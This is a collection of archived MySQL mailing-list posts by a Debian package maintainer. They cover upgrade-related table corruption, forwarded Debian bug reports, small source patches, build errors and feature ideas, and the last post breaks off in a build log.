Hello Sergei On Thu, Apr 07, 2005 at 03:14:10PM +0200, Sergei Golubchik wrote: I've just run into deep troubles while upgrading from 4.0.24 to 4.1.10a using precomiled Debian packages on Debian Woody although I read the comments regarding upgrading on dev.mysql.com. After starting the new server and running mysqlcheck -r -v -A, I experienced the following problems on about 15% of my tables (seemed to be quite random, i.e. not only the biggest or most used ones): Christian, do you have any of that tables ? Can you upload one of them (preferably, the smallest one) to our ftp ? beta_hardware_verwaltung.hardware_log info : Found wrong packed record at 0 info : Found wrong packed record at 56 info : Found wrong packed record at 112 Did you found the files on the incoming/ dir and do you have any news on this case? If it's not something extremly stupid from my side, can you open a bug report to make the issue easier to track? bye, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 ch@westend.comD-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Problems upgrading from 4.0 to 4.1
Hello Sergei On Thu, Apr 07, 2005 at 03:14:10PM +0200, Sergei Golubchik wrote: I've just run into deep troubles while upgrading from 4.0.24 to 4.1.10a using precomiled Debian packages on Debian Woody although I read the comments regarding upgrading on dev.mysql.com. After starting the new server and running mysqlcheck -r -v -A, I experienced the following problems on about 15% of my tables (seemed to be quite random, i.e. not only the biggest or most used ones): Christian, do you have any of that tables ? Can you upload one of them (preferably, the smallest one) to our ftp ? I've uploaded the file into your write-only ftp.mysql.com:/pub/mysql/upload/ directory as Christian_Hammers_Tablecorruption_40to41.tar.gz The included table is correct according to a CHECK TABLE with MySQL-4.0.24 but reproducible gets emptied during a REPAIR TABLE on MySQL-4.1.10a. bye, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 ch@westend.comD-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: DATE TIME
On Wed, Apr 06, 2005 at 12:06:37PM +0200, Hans Bernard wrote: i need to have the time in this output. in MySQL database phpmyadmin always puts -00-00 i need it to be like this 01-APR-2005 DD-MMM- Use date_format(, %d-%b-%Y %H:%m) in your SELECT? bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Problems upgrading from 4.0 to 4.1
Hello I've just run into deep troubles while upgrading from 4.0.24 to 4.1.10a using precomiled Debian packages on Debian Woody although I read the comments regarding upgrading on dev.mysql.com. After starting the new server and running mysqlcheck -r -v -A, I experienced the following problems on about 15% of my tables (seemed to be quite random, i.e. not only the biggest or most used ones): beta_hardware_verwaltung.hardware_log info : Found wrong packed record at 0 info : Found wrong packed record at 56 info : Found wrong packed record at 112 info : Found wrong packed record at 168 info : Found wrong packed record at 244 ... info : Found block that points outside data file at 47476 info : Found wrong packed record at 47736 info : Found block with too small length at 47748; Skipped info : Found wrong packed record at 48020 ... warning : Number of rows changed from 883 to 4 status : OK Luckily I made dumps before. Interesting to see was, that I could copy a table with /bin/cp still do a SELECT * from it but it, too, got emptied by a REPAIR statement. In the incompatibility list in the documentation some cases are mentioned where one has to do a REPAIR. But in which cases a repair does have such problems? Of course I did do a CHECK TABLE on all tables before upgrading, and I never used something different than latin1 nor table sizes near 4GB. All tables were checked and dumped on a regular basis without problems. After recreating them I had no further problems so far. bye, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 ch@westend.comD-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
mysqlcheck (not myisamchk) harmful?
Hello A user of the Debian packages that I maintain reported a problem with the mysqlcheck --all-databases --fast --quiet command that is run in the /etc/init.d/mysql script just after the server is up and running as reported by mysqladmin ping. According to all documentation that I found and the source code, mysqlcheck in opposide to myisamchk does not deal with the tables files itself which could be suspicious (e.g. with skip-locking) but just issue a CHECK TABLE xyz FAST command to the server which should be safe regardless who else does whatever to the table. Can somebody acknowledge that? Or give me a pointer what could get wrong with this approach? (BTW: I am right that as long as there are no not properly closed tables, this command should only take a few seconds even with some thousand tables?) thanks, -christian- pgpB02TTw3dZ1.pgp Description: PGP signature
Idea: Syntax help on command line
Hello I use the mysql command line tool quite often and always wondered why there's no feature that lets me quickly see the syntax of a FOREIGN KEY or GRANT command. Now while browsing the source I found the new syntax command in 4.0.12 and got the idea of implementing this syntax help of myself. What do you think of a client command: mysql syntax select; (or \S or SHOW SYNTAX OF) SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY] [DISTINCT | DISTINCTROW | ALL] select_expression,... [INTO {OUTFILE | DUMPFILE} 'file_name' export_options] [FROM table_references [WHERE where_definition] [GROUP BY {unsigned_integer | col_name | formula} [ASC | DESC], ...] [HAVING where_definition] [ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...] [LIMIT [offset,] rows | rows OFFSET offset] [PROCEDURE procedure_name(argument_list)] [FOR UPDATE | LOCK IN SHARE MODE]] Reference: 6.4.1 http://www.mysql.com/doc/en/SELECT.html I managed to hacked a working demo in less than 10 minutes which is simply a copy of the syntax function and which uses syntax() to pipe the output of an arbitrary command back to mysql (of course it could be a C function, too, but why the unnecessary burden and having it as seperate program makes it useable standalone, too!) This program could be a perl program which either has syntax definitions hardcoded or, even better, is able to extract them from the docs. A preinstalled html documentation could be prerequisite which has two comments like !-- BEGIN SYNTAX: SELECT -- ... !-- END SYNTAX -- so that the syntax is easily extractable. Something in the kind of cat /usr/share/doc/mysql/en/$1.html could be enough for the first start, too. The final stage would then be that this help command is called whenever on presses e.g. two times tab after writing a command like a command completition. Any suggestions and comments? bye, -christian- P.S.: Please CC me, I'm not subscribed. Thanks. -- The end of the human race will be that it will eventually die of civilization. -- Ralph Waldo Emerson -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: lsof +L1 - mysql.err.1 unlinked ...
Hello On Tue, Jan 07, 2003 at 11:25:18PM +0100, Christian Jaeger wrote: I have always these mysql.err.1 files not unlinked in all my mysqlservers, and only a mysqld restart resolve these (nor reload neither mysqladmin refresh doesn't unlink them). The err file is created by safe_mysqld to catch the output mysqld produces when it cannot start. As mysqld outputs to stderr on errors, too, everything is appended to that file in the nohup line, too. So there's currently the problem whether never to rotate it or to loose the errors messages. I change the behaviour of the Debian package to not rotating now. A better fix is coming hopefully, I already proposed some possible solutions to the [EMAIL PROTECTED] list (reopening the file in flush-logs or using syslog). bye, -christian- (maintainer of Debian mysql package) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Do I have to modify mysql-bin.index when purging old binary logs?
Hi Subject says all, is everything fine when I just flush-logs every morning and remove every logfile that is older than 30 days? Or do I have to delete the corresponding line from the index file as well? Whatfor is it needed, btw? bye, -christian- # for the bot: mysql php query - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Please clarify copyright of shared library.
Hello The follwing bug was reported against the Debian libmysqlclient10 package. Can you comment on this? The mentioned /usr/share/doc/ copyright file includes a copy of http://www.mysql.com/doc/C/o/Copyright.html bye, -christian- On Sun, Nov 10, 2002 at 05:03:06PM +0100, Andreas Metzler wrote: Package: libmysqlclient10 Version: 3.23.51-1woody4 Severity: normal Hello, /usr/share/doc/libmysqlclient10/copyright states This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. If you take a look at the files in mysql-dfsg-3.23.53/libmysql/* you'll notice that all of them are licensed under *L*GPL. Nevertheless this does not make libmysqlclient10 licensed under LGPL because mysql-dfsg-3.23.53/libmysql/net.c includes mysqld_error.h, a GPLed file. Please clarify this issue with upstream, whether this was an accident and libmysqlclient10 is supposed to be LGPL or if it was intended and libmysqlclient10 is indeed licensed under GPL. I hope it is the former, else it'd be impossible to link against libmysqlclient10 and e.g. OpenSSL at the same time. thanks, cu andreas # for the robot: php mysql - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Package references deprecated errno@GLIBC_2.0 symbol because it uses errno without including errno.h
Hello The following bug was reported against the Debian mysql package bug seems to be a generall problem. bye, -christian- On Sun, Nov 10, 2002 at 02:32:08PM +0100, Luca Barbieri wrote: Package: libmysqlclient10 Version: 3.23.53-3 Severity: important One or more programs or libraries in your package reference the deprecated [EMAIL PROTECTED] symbol, which is no longer available in TLS-based versions of GNU libc. This is caused by the program using errno without including errno.h and/or declaring errno on its own (e.g. extern int errno;). The package should be corrected by removing all declarations of errno and adding a #include errno.h in every file that uses errno, before the first use of errno. It might be possible to quickly fix the package by just compiling it with CC=gcc -include /usr/include/errno.h but eventually the package source should be corrected. For more information, see http://lists.debian.org/debian-devel/2002/debian-devel-200211/msg00174.html. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
2 bugs in mysqlaccess
Hello First bug: The contact address is no longer existing: BUGs can be reported by email to [EMAIL PROTECTED] Second bug: perl does not substitute the '~' char to the home directory: --- /tmp/mysqlaccess.orig 2002-08-27 08:25:23.0 +0200 +++ /usr/bin/mysqlaccess2002-08-27 08:20:40.0 +0200 @@ -13,7 +13,7 @@ $script = $1; $script = 'MySQLAccess' unless $script; $script_conf = $script.conf; - $script_log = ~/$script.log; + $script_log = $ENV{'HOME'}./$script.log; # # information on MySQL bye, -christian- Robot: php mysql - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bug#151302: mysql-server: transparent gzip support on selected columns
Hello MySQL developers I forward this in behalf of a Debian user who filed a bug report against the Debian package. bye, -christian- On Fri, Jun 28, 2002 at 07:21:26PM +, [EMAIL PROTECTED] wrote: Package: mysql-server Version: 3.23.50-1 Severity: wishlist Currently I have about 4 records in a table that use to consume 800mb of space. (about 23kb per row). Now I'm compressing the column that stores the text as a blob with gzip compression. Now that table only uses 64mb of space. (about 1600 bytes per row) I'd like the compression on selected columns/tables/databases to be gzip compressed. It's benifical to my table structure in my case because the blob column stores an XML document, and has good compression. I never need to select the documents by search paramaters on the column, so the only runtime difference would be compressing(insert/updates) and decompressing(selects) that column on the fly. Thanks. -- System Information Debian Release: 3.0 Kernel Version: Linux pcbkits.com 2.2.20 #1 Wed Mar 20 20:01:51 EST 2002 i686 unknown Versions of the packages mysql-server depends on: ii adduser3.47 Add and remove users and groups ii debconf1.1.11 Debian configuration management system ii libc6 2.2.5-6GNU C Library: Shared libraries and Timezone ii libdbi-perl1.28-1 The Perl5 Database Interface by Tim Bunce ii libmysqlclient 3.23.50-1 mysql database client library ii libstdc++2.10- 2.95.4-9 The GNU stdc++ library ii libwrap0 7.6-9 Wietse Venema's TCP wrappers library ii mysql-client 3.23.50-1 mysql database client binaries ii perl 5.6.1-7Larry Wall's Practical Extraction and Report ii psmisc 21-3 Utilities that use the proc filesystem ii zlib1g 1.1.4-1compression library - runtime ROBOT: php mysql - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: restart/flush needed when using symlinks?
Hello Is a restart/reload or a flush tables necessary when creating or removing databases? bye, -christian- cookie-for-the-robot: sql,query -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Authorized Reseller - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Patch for mysql_read_default_options segfault
Hello FYI, here is a patch that was submitted through the Debian Bug Tracking System for bug #145322. (for those who don't like to upgrade etc.. it is fixed in the 3.23.50) bye, -christian- On Mon, May 20, 2002 at 06:55:19PM +0200, [EMAIL PROTECTED] wrote: Hi, I had a similar problem using the mysql_real_connect function. Investigation of the problem results in wrong usage of the function strcend (const char* s, pchar c) in mysql_read_default_options. The documentation of this function tells, that a pointer to the end-null of s is returned if the character c is not found in s. There is a for loop in mysql_read_default_options that loops until this function returns a NULL pointer, what never will happen. ... around line 715 in libmysql/libmysql.c ... for (end= *option ; (end= strcend(end,'_')); ) *end= '-'; ... the bugfix is straight forward to check for the char and not for the pointer: 715c715 for (end= *option ; (end= strcend(end,'_')); ) --- for (end= *option ; *(end= strcend(end,'_')); ) BTW.: the same bugfix (or correct version :-) is already in the reentrant version of the library in libmysql_r/libmysql.c Dirk - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: compile problem with 3.23.50
On Wed, Apr 24, 2002 at 02:27:40PM +0300, Sinisa Milivojevic wrote: mysqld.cc:2428: at this point in file /usr/include/tcpd.h:119: too few arguments to function `int hosts_access(request _info *)' mysqld.cc:2429: at this point in file /usr/include/tcpd.h:153: too few arguments to function `char * eval_client(reque Problem that you are experiencing is caused by changes that were needed to solve problem building MySQL with libwrap on Linux. ... Can you explain why is your Linux so different ?? Hehe, it seems the Debian maintainer once applied some patches because mysqld.cc used arguments to the above functions: http://bugs.debian.org/100891 * tcpd.h: define __P() ourselves; sys/cdefs.h doesn't appear to be standard, and the glibc version adds __throw to the prototypes. mysqld.cc:1190:21: warning: multi-line string literals are deprecated /usr/include/tcpd.h: In function `void* handle_connections_sockets(void*)': /usr/include/tcpd.h:141: too many arguments to function `void sock_host()' I will ask him if these changes are obsolete now. MySQL seems to be right here. bye, -christian- - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
What's up with the mysql_read_default_group segfault bug?!
Hi That using mysql_read_default_group can produce segfaults is known since at least a month and there were two independend bug reports, one from me: http://listarchive.nextrieve.com/mysql//200203/msg01938.html Are there any patches available? Monty said something about 3.23.50 but although the changelog is starting the 3.23.51 section, I can find no .50 source on the ftp or http servers, nor a patch on the mailing list :-( So any news regarding this bug? bye, -christian- - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
typo in configure regarding enable-local-infile
Hi In case nobody noticed yet: configure.in line 590: # compile with strings functions in assembler AC_ARG_ENABLE(local-infile, [ --enable-local-infile If LOAD DATA LOCAL INFILE is enabled by default.], [ ENABLED_LOCAL_INFILE=$enablewal ], [ ENABLED_LOCAL_INFILE=no ] ) that should read $enableval, not $enablewal, I guess :-) bye, -christian- for the robot: sql,query - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
bug: segfaults with mysql_read_default_group!
Hello There is a problem with the myslq_read_default_group function! It's DBI 1.21, DBD::MySQL 1.2216 and mysql-3.23.49, compiled on the very latest Debian unstable (I'm the mysql maintainer of Debian). bye, -christian- There is no section ch in /etc/mysql/my.cnf and no ~ch/.my.cnf. The same problem also occurs in mysqlhotcopy which looks for a section of this name. $ cat t.pl #!/usr/bin/perl use DBI; $dbh = DBI-connect(dbi:mysql:test:mysql_read_default_group=ch,ch,); $ ./t.pl ... open(/etc/mysql/my.cnf, O_RDONLY|O_LARGEFILE) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=1892, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40026000 read(3, # You can copy this to one of:\n#..., 4096) = 1892 read(3, , 4096) = 0 close(3)= 0 munmap(0x40026000, 4096)= 0 open(/var/lib/mysql/my.cnf, O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) open(/home/ch/.my.cnf, O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Where is 3.22.35? I need it due to the coredump bugfix.
Hello I was notified about a coredump bug in MySQL 3.22.xx. As this can be used as DoS I like to update the MySQL packages I maintain for the Debian GNU/Linux distribution. I would like to have specifically the 3.22.35 as the bug seems to be fixed there according to the changelog and I don't like to do a major version number upgrade in an already released distribution. bye, -christian- aka [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[patch] corrected manpage headers
Hello To get apropos working and the header comply to man(8) you should apply the following command on the man/ directory: perl -pi -e 's/^\.TH\s+(\S+?)\s+.*/sprintf(.TH %s 1 \19 December 2000\ \MySQL 3.23\ \MySQL database\, lc($1))/e' *.1 bye, -christian- [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bug#129284: mysql-client: some short options doesn't work
FYI -christian- On Mon, Jan 14, 2002 at 11:54:42PM +0100, Artur R.Czechowski wrote: Package: mysql-client Version: 3.23.46-2 Severity: minor mysqldump: invalid option -- Q long GNU option --quota-names used instead works Please fix documentation or client :) Sincerelly Artur -- System Information Debian Release: 3.0 Architecture: i386 Kernel: Linux goofie 2.4.17 #1 SMP Mon Jan 14 22:14:46 CET 2002 i686 Locale: LANG=C, LC_CTYPE=C Versions of packages mysql-client depends on: ii debianutils1.15 Miscellaneous utilities specific t ii libc6 2.2.4-7 GNU C Library: Shared libraries an ii libdbd-mysql-perl 1.2216-2 mySQL database interface for Perl ii libdbi-perl1.20-1The Perl5 Database Interface by Ti ii libmysqlclient10 3.23.46-2 mysql database client library ii libncurses55.2.20010318-3Shared libraries for terminal hand ii libreadline4 4.2a-3GNU readline and history libraries ii libstdc++2.10-glibc2.2 1:2.95.4-0.011006 The GNU stdc++ library ii perl 5.6.1-6 Larry Wall's Practical Extraction ii zlib1g 1:1.1.3-18compression library - runtime - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Fwd: Bug#128473: [patch] the mysql crashes on the -D option
FYI -christian- On Wed, Jan 09, 2002 at 08:52:34PM +0100, Sjoerd Simons wrote: Package: mysql-client Version: 3.22.32-6 Severity: normal Tags: patch mysql -D something causes a segv, the attached patch to mysql.cc seems to fix this.. ... --- mysql.cc.orig Wed Jan 9 20:46:07 2002 +++ mysql.cc Wed Jan 9 20:17:16 2002 @@ -500,7 +500,7 @@ bool tty_password=0; set_all_changeable_vars(changeable_vars); - while ((c=getopt_long(argc,argv,?ABCDLfHinNoqrstTvVwWEe:h:O:P:S:u:#::p::, + while ((c=getopt_long(argc,argv,?ABCD:LfHinNoqrstTvVwWEe:h:O:P:S:u:#::p::, long_options, option_index)) != EOF) { switch(c) { - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
WISHLIST: auto_increment after delete
Hello MySQL developers please add a ALTER TABLE xyz eternal_auto_increment=1; that forces the auto_increment column to increment regardless of which table type I use and how I delete my columns. As long as there is a way to reset the column somehow (by setting it to -1 or so) I would find this very comfortable. At least it's horror if my column starts behaving differently if I only change the table type to get COMMIT/ROLLBACK or forget to delete with DELETE FROM xyz WHERE 1; instead of the normal DELETE FROM xyz;. (Yes I know that all is documented somewhere but still it's hard to use..) thanks, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bug#119076: mysql-server: signal 11
Hello I forward this bug report to this list as it seems to be not Debian specific. MySQL crashes with several kinds of /etc/nsswitch.conf configurations. bye, -christian- On Tue, Nov 13, 2001 at 11:45:27AM +1100, Brian May wrote: Christian == Christian Hammers [EMAIL PROTECTED] writes: Christian You could try to change /etc/nsswitch.conf back to Christian normal values and see if the error occurs again - I Christian find it strange that static compiling doesn't work. Agreed. Now it crashes in a different way on two computers. Perhaps I should open two bug reports? The same work around works for both computers though, so I will stay here for now. = PLUTO = I am no longer getting Signal 11 errors but Floating point exception. Curious. pluto:~# mysqld Floating point exception perhaps I am just running it in a different way to before. Changing nsswitch as follows: --works-- passwd: files group: files --doesn't work-- passwd: files group: files ldap --works-- passwd: files ldap group: files e so password LDAP lookups are OK, but group lookups aren't? strace shows: open(/usr/lib/sasl/libplain.so, O_RDONLY) = 4 read(4, \177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\\7\0..., 1024) = 1024 fstat64(4, {st_mode=S_IFREG|0644, st_size=7352, ...}) = 0 --- SIGFPE (Floating point exception) --- +++ killed by SIGFPE +++ hmmm maybe this is some sort of SASL bug? (I presume SASL is getting called by LDAP). = SNOOPY === Still crashes with a Signal 11, strace shows open(/etc/nsswitch.conf, O_RDONLY)= 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=472, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x11 read(3, # /etc/nsswitch.conf\n#\n# Example..., 4096) = 472 read(3, , 4096) = 0 close(3)= 0 munmap(0x11, 4096) = 0 --- SIGSEGV (Segmentation fault) --- Removing group LDAP lookups solves this, same as above. -- Brian May [EMAIL PROTECTED] -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Bug? SET @T=db; SELECT * FROM @T;
Hi The above statement does not work :-( This is sad as it would be a nice feature. bye, -christian- mysql SET @RF='user'; Query OK, 0 rows affected (0.00 sec) mysql SELECT * FROM @RF; ERROR 1064: You have an error in your SQL syntax near '@RF' at line 1 -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
build problems on powerpc with 3.23.42
Hello I have problems building the mysql package for the Debian distribution on powerpc. More infos below. Feel free to contact me for further details. bye, -christian- make[3]: Entering directory `/home/ch/debian/mysql-3.23.42/sql' g++ -DMYSQL_SERVER -DDEFAULT_MYSQL_HOME=\/usr\ -DDATADIR=\/var/lib/mysql\ -DSHAREDIR=\/usr/share/mysql\ -DHAVE_CONFIG_H -I../innobase/include -I./../include -I./../regex-I. -I../include -I.. -I.-O3 -DDBUG_OFF -O2 -g -felide-constructors -fno-rtti -fno-implicit-templates -fno-exceptions -fno-rtti -c mysqld.cc In file included from mysqld.cc:80: /usr/include/tcpd.h:39: invalid exception specifications /usr/include/tcpd.h:40: invalid exception specifications /usr/include/tcpd.h:41: invalid exception specifications /usr/include/tcpd.h:42: invalid exception specifications make[3]: *** [mysqld.o] Error 1 make[3]: Leaving directory `/home/ch/debian/mysql-3.23.42/sql' make[2]: *** [all-recursive] Error 1 the relevant lines in tcpd.h are *sink to *cleanup: struct request_info { int fd; /* socket handle */ charuser[STRING_LENGTH];/* access via eval_user(request) */ chardaemon[STRING_LENGTH]; /* access via eval_daemon(request) */ charpid[10];/* access via eval_pid(request) */ struct host_info client[1]; /* client endpoint info */ struct host_info server[1]; /* server endpoint info */ void (*sink) __P((int)); /* datagram sink function or 0 */ void (*hostname) __P((struct host_info *)); /* address to printable hostname */ void (*hostaddr) __P((struct host_info *)); /* address to printable address */ void (*cleanup) __P((struct request_info *)); /* cleanup function or 0 */ struct netconfig *config; /* netdir handle */ }; I'm using: ii libwrap0-dev 7.6-8.2Wietse Venema's TCP wrappers library, ii libc6-dev 2.2.4-1GNU C Library: Development Libraries ii gcc2.95.4-6 The GNU C compiler. ii g++2.95.4-6 The GNU C++ compiler. ii libstdc++2.10 2.95.2-13 The GNU stdc++ library ch@voltaire:~/debian/mysql-3.23.42$ cat /proc/cpuinfo processor : 0 cpu : 7400 (G4, altivec supported) clock : 500MHz revision: 2.9 (pvr 000c 0209) bogomips: 992.87 processor : 1 cpu : 7400 (G4, altivec supported) clock : 500MHz revision: 2.9 (pvr 000c 0209) bogomips: 992.87 total bogomips : 1985.74 zero pages : total: 0 (0Kb) current: 0 (0Kb) hits: 0/0 (0%) machine : PowerMac3,3 motherboard : PowerMac3,3 MacRISC Power Macintosh L2 cache: 1024K unified memory : 320MB pmac-generation : NewWorld -- Rome did not create a great empire by having meetings, they did it by killing all those who opposed them. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
myodbc2.50.37 failed to build on ia64
FYI -christian- Date: Sat, 25 Aug 2001 21:46:03 -0700 From: Randolph Chung [EMAIL PROTECTED] To: [EMAIL PROTECTED] Reply-To: Randolph Chung [EMAIL PROTECTED], [EMAIL PROTECTED] Package: myodbc2.50.37 Version: 2.50.37-3 Severity: important See attached build log. Looks like the type detection code in the configure script is broken? randolph - Forwarded message from Randolph Chung [EMAIL PROTECTED] - Subject: Log for failed build of myodbc2.50.37_2.50.37-3 (dist=unstable) From: Randolph Chung [EMAIL PROTECTED] To: [EMAIL PROTECTED] Date: Sat, 25 Aug 2001 21:22:26 -0700 Automatic build of myodbc2.50.37_2.50.37-3.dsc on pippin by sbuild/ia64 1.159 Build started at 20010825-2122 ** ** Using build dependencies supplied by package: Build-Depends: debhelper (= 3.0.0), libmysqlclient10-dev (= 3.23.37-1), zlib1g-dev (= 1:1.1.3), libiodbc2-dev, libtool, automake Checking for already installed source dependencies... debhelper: already installed (in sufficient version 3.0.40 = 3.0.0) libmysqlclient10-dev: missing zlib1g-dev: already installed (in sufficient version 1:1.1.3-15 = 1:1.1.3) libiodbc2-dev: missing libtool: already installed automake: already installed Checking for source dependency conflicts... /usr/bin/sudo /usr/bin/apt-get -q -y install libmysqlclient10-dev libiodbc2-dev Reading Package Lists... Building Dependency Tree... The following extra packages will be installed: libiodbc2 libmysqlclient10 mysql-common The following NEW packages will be installed: libiodbc2 libiodbc2-dev libmysqlclient10 libmysqlclient10-dev mysql-common 0 packages upgraded, 5 newly installed, 0 to remove and 13 not upgraded. Need to get 13.7kB/1237kB of archives. After unpacking 4268kB will be used. Get:1 